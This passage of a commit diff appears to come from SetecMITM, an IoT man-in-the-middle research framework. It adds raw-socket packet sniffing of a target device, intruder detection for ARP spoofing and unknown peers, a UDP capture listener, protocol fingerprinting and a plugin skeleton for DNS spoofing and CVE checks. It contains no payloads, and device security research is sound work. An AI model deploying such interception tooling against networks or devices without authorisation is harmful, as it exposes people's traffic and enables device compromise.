||||||
|
mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF
|
||||||
|
return (ip_i & mask) == (base_i & mask)
|
||||||
|
|
||||||
|
|
||||||
|
def _is_known_cloud(ip):
|
||||||
|
for base, prefix in KNOWN_CLOUD_NETS:
|
||||||
|
if _in_net(ip, base, prefix):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _is_lan(ip):
|
||||||
|
return ip.startswith("192.168.") or ip.startswith("10.") or ip.startswith("172.")
|
||||||
|
|
||||||
|
|
||||||
|
def _record(kind, src, dst, detail):
|
||||||
|
ts = datetime.now().strftime("%H:%M:%S")
|
||||||
|
entry = {"ts": ts, "kind": kind, "src": src, "dst": dst, "detail": detail}
|
||||||
|
with _intruder_lock:
|
||||||
|
intruders.append(entry)
|
||||||
|
log(f"INTRUDER [{kind}] {src} -> {dst} {detail}", C_IMPORTANT)
|
||||||
|
|
||||||
|
|
||||||
|
def get_intruders():
|
||||||
|
with _intruder_lock:
|
||||||
|
return list(intruders)
|
||||||
|
|
||||||
|
|
||||||
|
def clear_intruders():
|
||||||
|
with _intruder_lock:
|
||||||
|
intruders.clear()
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((cfg["iface"], 0))
|
||||||
|
sock.settimeout(1)
|
||||||
|
except Exception as e:
|
||||||
|
log(f"IntruderWatch: cannot open raw socket: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["intruder"] = True
|
||||||
|
log("IntruderWatch: armed", C_SUCCESS)
|
||||||
|
|
||||||
|
tgt_ip = cfg["target_ip"]
|
||||||
|
tgt_mac = cfg["target_mac"].lower()
|
||||||
|
our_ip = cfg["our_ip"]
|
||||||
|
router_ip = cfg["router_ip"]
|
||||||
|
|
||||||
|
seen_lan_peers = set() # other LAN hosts that contacted the target
|
||||||
|
seen_outbound = set() # (dst_ip, proto, port) tuples
|
||||||
|
seen_arp_macs = set() # MACs claiming to be the target
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
pkt, _ = sock.recvfrom(65535)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
|
||||||
|
if len(pkt) < 14:
|
||||||
|
continue
|
||||||
|
|
||||||
|
eth_proto = struct.unpack("!H", pkt[12:14])[0]
|
||||||
|
eth_src = ":".join(f"{b:02x}" for b in pkt[6:12])
|
||||||
|
eth_dst = ":".join(f"{b:02x}" for b in pkt[0:6])
|
||||||
|
|
||||||
|
# ── ARP (0x0806) ────────────────────────────────────────────
|
||||||
|
if eth_proto == 0x0806 and len(pkt) >= 42:
|
||||||
|
arp = pkt[14:42]
|
||||||
|
opcode = struct.unpack("!H", arp[6:8])[0]
|
||||||
|
sender_mac = ":".join(f"{b:02x}" for b in arp[8:14])
|
||||||
|
sender_ip = socket.inet_ntoa(arp[14:18])
|
||||||
|
if opcode == 2 and sender_ip == tgt_ip and sender_mac != tgt_mac:
|
||||||
|
key = sender_mac
|
||||||
|
if key not in seen_arp_macs:
|
||||||
|
seen_arp_macs.add(key)
|
||||||
|
_record("ARP_SPOOF", sender_mac, tgt_ip,
|
||||||
|
f"someone else claims to be target (real={tgt_mac})")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# ── IPv4 (0x0800) ───────────────────────────────────────────
|
||||||
|
if eth_proto != 0x0800 or len(pkt) < 34:
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip_hdr = pkt[14:34]
|
||||||
|
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||||
|
proto = ip_hdr[9]
|
||||||
|
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||||
|
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||||
|
|
||||||
|
# Target is involved?
|
||||||
|
if tgt_ip not in (src_ip, dst_ip):
|
||||||
|
continue
|
||||||
|
|
||||||
|
peer_ip = dst_ip if src_ip == tgt_ip else src_ip
|
||||||
|
|
||||||
|
t_start = 14 + ihl
|
||||||
|
sp = dp = 0
|
||||||
|
if proto in (6, 17) and len(pkt) >= t_start + 4:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
|
||||||
|
# ── Rule 1: LAN peer that isn't us/router/target ────────────
|
||||||
|
if _is_lan(peer_ip) and peer_ip not in (our_ip, router_ip, tgt_ip):
|
||||||
|
if peer_ip not in seen_lan_peers:
|
||||||
|
seen_lan_peers.add(peer_ip)
|
||||||
|
_record("LAN_PEER", peer_ip, tgt_ip,
|
||||||
|
f"unknown LAN host talking to target (proto={proto} port={dp or sp})")
|
||||||
|
|
||||||
|
# ── Rule 2: outbound to non-whitelisted internet ────────────
|
||||||
|
if src_ip == tgt_ip and not _is_lan(peer_ip):
|
||||||
|
if not _is_known_cloud(peer_ip):
|
||||||
|
key = (peer_ip, proto, dp)
|
||||||
|
if key not in seen_outbound:
|
||||||
|
seen_outbound.add(key)
|
||||||
|
_record("UNKNOWN_DST", tgt_ip, peer_ip,
|
||||||
|
f"target contacting unlisted host (proto={proto} dport={dp})")
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["intruder"] = False
|
||||||
|
log("IntruderWatch: stopped", C_SUCCESS)
|
||||||
106
services/sniffer.py
Normal file
106
services/sniffer.py
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
"""Raw packet sniffer — catches all target traffic headed to us on any port"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from utils import proto as proto_id
|
||||||
|
|
||||||
|
|
||||||
|
_orig_dst_cache = {}
|
||||||
|
|
||||||
|
|
||||||
|
def _lookup_orig_dst(src_ip, src_port, proto):
|
||||||
|
key = (src_ip, src_port, proto)
|
||||||
|
if key in _orig_dst_cache:
|
||||||
|
return _orig_dst_cache[key]
|
||||||
|
result = None
|
||||||
|
try:
|
||||||
|
out = subprocess.run(
|
||||||
|
["conntrack", "-L", "-s", src_ip, "-p", proto, "--sport", str(src_port)],
|
||||||
|
capture_output=True, text=True, timeout=2,
|
||||||
|
).stdout
|
||||||
|
for line in out.splitlines():
|
||||||
|
parts = line.split()
|
||||||
|
d_ip = None
|
||||||
|
d_port = None
|
||||||
|
for p in parts:
|
||||||
|
if p.startswith("dst=") and d_ip is None:
|
||||||
|
d_ip = p[4:]
|
||||||
|
elif p.startswith("dport=") and d_port is None:
|
||||||
|
d_port = p[6:]
|
||||||
|
if d_ip and d_port:
|
||||||
|
break
|
||||||
|
if d_ip and d_port:
|
||||||
|
result = f"{d_ip}:{d_port}"
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
result = None
|
||||||
|
_orig_dst_cache[key] = result
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((cfg["iface"], 0))
|
||||||
|
sock.settimeout(1)
|
||||||
|
except:
|
||||||
|
log("Sniffer: cannot open raw socket", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["sniffer"] = True
|
||||||
|
log("Sniffer: watching all target packets", C_SUCCESS)
|
||||||
|
seen = set()
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
pkt, _ = sock.recvfrom(65535)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
if len(pkt) < 34:
|
||||||
|
continue
|
||||||
|
|
||||||
|
eth_proto = struct.unpack("!H", pkt[12:14])[0]
|
||||||
|
if eth_proto != 0x0800:
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip_hdr = pkt[14:34]
|
||||||
|
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||||
|
proto = ip_hdr[9]
|
||||||
|
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||||
|
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||||
|
|
||||||
|
if src_ip != cfg["target_ip"] or dst_ip != cfg["our_ip"]:
|
||||||
|
continue
|
||||||
|
|
||||||
|
t_start = 14 + ihl
|
||||||
|
|
||||||
|
if proto == 17 and len(pkt) >= t_start + 8:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
if dp == 53:
|
||||||
|
continue
|
||||||
|
payload = pkt[t_start + 8:]
|
||||||
|
key = f"udp:{dp}"
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
log(f"SNIFF: new UDP port {sp}->{dp}", C_IMPORTANT)
|
||||||
|
orig = _lookup_orig_dst(src_ip, sp, "udp") or "?"
|
||||||
|
pname = proto_id.detect(payload)
|
||||||
|
proto_id.record(pname)
|
||||||
|
log(f"SNIFF: UDP {cfg['target_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig}) [{pname} {payload[:6].hex()}] ({len(payload)}B)", C_TRAFFIC)
|
||||||
|
log(hexdump(payload), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"sniff_udp{dp}_{sp}", payload)
|
||||||
|
|
||||||
|
elif proto == 6 and len(pkt) >= t_start + 4:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
key = f"tcp:{dp}"
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
orig = _lookup_orig_dst(src_ip, sp, "tcp") or "?"
|
||||||
|
log(f"SNIFF: new TCP {cfg['target_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig})", C_IMPORTANT)
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["sniffer"] = False
|
||||||
38
services/udp_listener.py
Normal file
38
services/udp_listener.py
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
"""UDP listener — captures P2P master service and other UDP traffic"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC
|
||||||
|
|
||||||
|
|
||||||
|
def run(port, cfg, flags, running_check):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.settimeout(1)
|
||||||
|
try:
|
||||||
|
sock.bind(("0.0.0.0", port))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"UDP:{port} bind failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags[f"udp{port}"] = True
|
||||||
|
log(f"UDP: listening on :{port}", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
data, addr = sock.recvfrom(4096)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
log(f"UDP:{port} from {addr[0]}:{addr[1]} ({len(data)}B)", C_TRAFFIC)
|
||||||
|
log(hexdump(data), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"udp{port}_{addr[0]}_{addr[1]}", data)
|
||||||
|
|
||||||
|
if len(data) >= 4:
|
||||||
|
magic = struct.unpack("!I", data[:4])[0]
|
||||||
|
log(f" magic: 0x{magic:08x}", 0)
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags[f"udp{port}"] = False
|
||||||
0
targets/__init__.py
Normal file
0
targets/__init__.py
Normal file
0
targets/example/__init__.py
Normal file
0
targets/example/__init__.py
Normal file
75
targets/example/plugin.py
Normal file
75
targets/example/plugin.py
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
"""
|
||||||
|
Example target plugin for SetecMITM.
|
||||||
|
|
||||||
|
A plugin is just a Python module under `targets/<name>/plugin.py` that
|
||||||
|
exposes a `Plugin` class. The Controller imports it on startup if
|
||||||
|
`target_plugin = "<name>"` is set in the config.
|
||||||
|
|
||||||
|
A plugin can do anything: register custom DNS spoof rules, install extra
|
||||||
|
HTTP request handlers, add a known-endpoint list to the fuzzer, register
|
||||||
|
its own CVE verifiers, or extend the protocol fingerprinter. The simplest
|
||||||
|
useful plugin is the one that knows the device's expected cloud
|
||||||
|
hostnames + the device's UDP P2P port — that's enough to bootstrap
|
||||||
|
intruder detection and traffic decoding.
|
||||||
|
|
||||||
|
Copy this directory to `targets/<your_brand>/` and edit.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from utils.log import log, C_INFO
|
||||||
|
|
||||||
|
|
||||||
|
class Plugin:
|
||||||
|
NAME = "example"
|
||||||
|
DESCRIPTION = "Skeleton plugin showing the expected interface."
|
||||||
|
|
||||||
|
# Expected outbound destinations the target talks to. Anything
|
||||||
|
# outside this list gets flagged in the Intruders tab.
|
||||||
|
KNOWN_CLOUD_NETS = [
|
||||||
|
# ("8.8.8.0", 24), # example: Google DNS
|
||||||
|
]
|
||||||
|
|
||||||
|
# Hostnames to spoof in DNS interception. Empty = spoof all.
|
||||||
|
DNS_SPOOF_HOSTS = [
|
||||||
|
# "api.example.com",
|
||||||
|
]
|
||||||
|
|
||||||
|
# UDP ports the target uses for P2P / push notifications.
|
||||||
|
UDP_PORTS = [
|
||||||
|
# 10240,
|
||||||
|
]
|
||||||
|
|
||||||
|
# Known API endpoints (for the future fuzzer module).
|
||||||
|
KNOWN_API_ENDPOINTS = [
|
||||||
|
# "/api/v1/login",
|
||||||
|
# "/api/v1/devices",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self, cfg):
|
||||||
|
self.cfg = cfg
|
||||||
|
log(f"plugin '{self.NAME}': initialized", C_INFO)
|
||||||
|
|
||||||
|
# ── Optional hooks (Controller calls these if defined) ──
|
||||||
|
|
||||||
|
def on_start(self):
|
||||||
|
"""Called once when MITM services are about to start."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_stop(self):
|
||||||
|
"""Called once when MITM services have stopped."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def custom_http_handler(self, request):
|
||||||
|
"""
|
||||||
|
Optional: handle an intercepted HTTP request that the framework
|
||||||
|
otherwise wouldn't know what to do with. Return a (status, body)
|
||||||
|
tuple, or None to fall through.
|
||||||
|
"""
|
||||||
|
return None
|
||||||
|
|
||||||
|
def detect_protocol(self, payload_first_bytes):
|
||||||
|
"""
|
||||||
|
Optional: extend the built-in protocol fingerprinter. Return a
|
||||||
|
short label (e.g. "MyVendor-P2P") or None to fall through to
|
||||||
|
the framework's default detection.
|
||||||
|
"""
|
||||||
|
return None
|
||||||
0
utils/__init__.py
Normal file
0
utils/__init__.py
Normal file
99
utils/log.py
Normal file
99
utils/log.py
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
"""Shared logging and hex formatting utilities"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
from collections import deque
|
||||||
|
|
||||||
|
lock = threading.Lock()
|
||||||
|
log_lines = deque(maxlen=2000)
|
||||||
|
_logfile = None
|
||||||
|
_logfile_path = None
|
||||||
|
LOG_MAX_BYTES = 1024 * 1024 * 1024 # 1 GiB
|
||||||
|
_log_rotate_lock = threading.Lock()
|
||||||
|
|
||||||
|
# Color codes for TUI
|
||||||
|
C_NONE = 0
|
||||||
|
C_ERROR = 1
|
||||||
|
C_SUCCESS = 2
|
||||||
|
C_INFO = 3
|
||||||
|
C_TRAFFIC = 4
|
||||||
|
C_IMPORTANT = 5
|
||||||
|
|
||||||
|
|
||||||
|
def init_logfile(path):
|
||||||
|
global _logfile, _logfile_path
|
||||||
|
os.makedirs(os.path.dirname(path), exist_ok=True)
|
||||||
|
_logfile_path = path
|
||||||
|
_logfile = open(path, "a")
|
||||||
|
|
||||||
|
|
||||||
|
def close_logfile():
|
||||||
|
global _logfile
|
||||||
|
if _logfile:
|
||||||
|
_logfile.close()
|
||||||
|
_logfile = None
|
||||||
|
|
||||||
|
|
||||||
|
def _maybe_rotate():
|
||||||
|
"""Rotate the active log file if it exceeds LOG_MAX_BYTES."""
|
||||||
|
global _logfile
|
||||||
|
if not _logfile or not _logfile_path:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
size = os.fstat(_logfile.fileno()).st_size
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
if size < LOG_MAX_BYTES:
|
||||||
|
return
|
||||||
|
with _log_rotate_lock:
|
||||||
|
try:
|
||||||
|
size = os.fstat(_logfile.fileno()).st_size
|
||||||
|
if size < LOG_MAX_BYTES:
|
||||||
|
return
|
||||||
|
_logfile.close()
|
||||||
|
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
os.rename(_logfile_path, f"{_logfile_path}.{ts}")
|
||||||
|
_logfile = open(_logfile_path, "a")
|
||||||
|
_logfile.write(f"[{datetime.now().strftime('%H:%M:%S')}] log rotated (>1GB)\n")
|
||||||
|
_logfile.flush()
|
||||||
|
except Exception as e:
|
||||||
|
try:
|
||||||
|
_logfile = open(_logfile_path, "a")
|
||||||
|
except Exception:
|
||||||
|
_logfile = None
|
||||||
|
|
||||||
|
|
||||||
|
def log(msg, color=C_NONE):
|
||||||
|
ts = datetime.now().strftime("%H:%M:%S")
|
||||||
|
line = f"[{ts}] {msg}"
|
||||||
|
with lock:
|
||||||
|
log_lines.append((line, color))
|
||||||
|
if _logfile:
|
||||||
|
try:
|
||||||
|
_logfile.write(line + "\n")
|
||||||
|
_logfile.flush()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
_maybe_rotate()
|
||||||
|
|
||||||
|
|
||||||
|
def hexdump(data, max_bytes=128):
|
||||||
|
lines = []
|
||||||
|
for i in range(0, min(len(data), max_bytes), 16):
|
||||||
|
chunk = data[i:i + 16]
|
||||||
|
hx = " ".join(f"{b:02x}" for b in chunk)
|
||||||
|
asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
|
||||||
|
lines.append(f" {i:04x} {hx:<48} {asc}")
|
||||||
|
if len(data) > max_bytes:
|
||||||
|
lines.append(f" ... ({len(data)} bytes total)")
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def save_raw(log_dir, name, data):
|
||||||
|
import time
|
||||||
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
path = f"{log_dir}/{name}_{int(time.time())}.bin"
|
||||||
|
with open(path, "wb") as f:
|
||||||
|
f.write(data)
|
||||||
|
return path
|
||||||
94
utils/proto.py
Normal file
94
utils/proto.py
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
"""
|
||||||
|
Protocol fingerprinting from packet payload first bytes.
|
||||||
|
Returns a short label like 'TLS', 'HTTP', 'IOTC', '?'.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import threading
|
||||||
|
from collections import Counter
|
||||||
|
|
||||||
|
_seen = Counter()
|
||||||
|
_lock = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
|
def detect(data: bytes) -> str:
|
||||||
|
if not data:
|
||||||
|
return "?"
|
||||||
|
n = len(data)
|
||||||
|
b = data
|
||||||
|
|
||||||
|
# TLS: 0x16 (handshake) 0x03 0x0[0-4]
|
||||||
|
if n >= 3 and b[0] == 0x16 and b[1] == 0x03 and b[2] <= 0x04:
|
||||||
|
return "TLS"
|
||||||
|
# TLS app data / alert / change_cipher_spec
|
||||||
|
if n >= 3 and b[0] in (0x14, 0x15, 0x17) and b[1] == 0x03 and b[2] <= 0x04:
|
||||||
|
return "TLS-DATA"
|
||||||
|
|
||||||
|
# HTTP request methods (ASCII)
|
||||||
|
head = bytes(b[:8])
|
||||||
|
for verb in (b"GET ", b"POST ", b"PUT ", b"HEAD ", b"DELETE ", b"OPTIONS", b"PATCH ", b"CONNECT"):
|
||||||
|
if head.startswith(verb):
|
||||||
|
return "HTTP"
|
||||||
|
if head.startswith(b"HTTP/"):
|
||||||
|
return "HTTP-RESP"
|
||||||
|
|
||||||
|
# RTSP
|
||||||
|
if head.startswith(b"RTSP/") or head.startswith(b"OPTIONS rtsp") or head.startswith(b"DESCRIBE"):
|
||||||
|
return "RTSP"
|
||||||
|
|
||||||
|
# SSH banner
|
||||||
|
if head.startswith(b"SSH-"):
|
||||||
|
return "SSH"
|
||||||
|
|
||||||
|
# FTP banner
|
||||||
|
if head[:3] in (b"220", b"221", b"230"):
|
||||||
|
return "FTP?"
|
||||||
|
|
||||||
|
# DNS — udp payload usually starts with 16-bit ID then flags 0x01 0x00 (query) or 0x81 0x80 (resp)
|
||||||
|
if n >= 4 and b[2] in (0x01, 0x81) and b[3] in (0x00, 0x80, 0x20, 0xa0):
|
||||||
|
return "DNS"
|
||||||
|
|
||||||
|
# NTP — first byte: LI(2)|VN(3)|Mode(3); common values 0x1b (client), 0x24 (server)
|
||||||
|
if n >= 48 and b[0] in (0x1b, 0x23, 0x24, 0xdb, 0xe3):
|
||||||
|
return "NTP?"
|
||||||
|
|
||||||
|
# ThroughTek Kalay IOTC/AVAPI — begins with 0xF1 0xD0 or 0xF1 0xE0 family
|
||||||
|
if n >= 2 and b[0] == 0xF1 and b[1] in (0xD0, 0xE0, 0xF0, 0xC0, 0xA0, 0x10, 0x20, 0x30):
|
||||||
|
return "IOTC"
|
||||||
|
|
||||||
|
# STUN — first byte 0x00 or 0x01, second byte 0x00/0x01/0x11, magic cookie 0x2112A442 at offset 4
|
||||||
|
if n >= 8 and b[0] in (0x00, 0x01) and b[4:8] == b"\x21\x12\xa4\x42":
|
||||||
|
return "STUN"
|
||||||
|
|
||||||
|
# mDNS multicast / SSDP
|
||||||
|
if head.startswith(b"M-SEARCH") or head.startswith(b"NOTIFY *") or head.startswith(b"HTTP/1.1 200 OK"):
|
||||||
|
return "SSDP"
|
||||||
|
|
||||||
|
# MQTT — first byte 0x10 (CONNECT), 0x20 CONNACK, 0x30 PUBLISH...
|
||||||
|
if n >= 2 and (b[0] & 0xF0) in (0x10, 0x20, 0x30, 0x40, 0xC0, 0xD0, 0xE0) and b[0] != 0x00:
|
||||||
|
# weak signal — only if remaining length is sane
|
||||||
|
if 2 <= b[1] <= 200 and (b[0] & 0x0F) == 0:
|
||||||
|
return "MQTT?"
|
||||||
|
|
||||||
|
return "?"
|
||||||
|
|
||||||
|
|
||||||
|
def label_with_hex(data: bytes) -> str:
|
||||||
|
"""Return 'PROTO[hex6]' for log lines."""
|
||||||
|
p = detect(data)
|
||||||
|
h = data[:6].hex() if data else ""
|
||||||
|
return f"{p}[{h}]"
|
||||||
|
|
||||||
|
|
||||||
|
def record(proto: str):
|
||||||
|
with _lock:
|
||||||
|
_seen[proto] += 1
|
||||||
|
|
||||||
|
|
||||||
|
def seen_counts():
|
||||||
|
with _lock:
|
||||||
|
return dict(_seen)
|
||||||
|
|
||||||
|
|
||||||
|
def reset():
|
||||||
|
with _lock:
|
||||||
|
_seen.clear()
|
||||||
Reference in New Issue
Block a user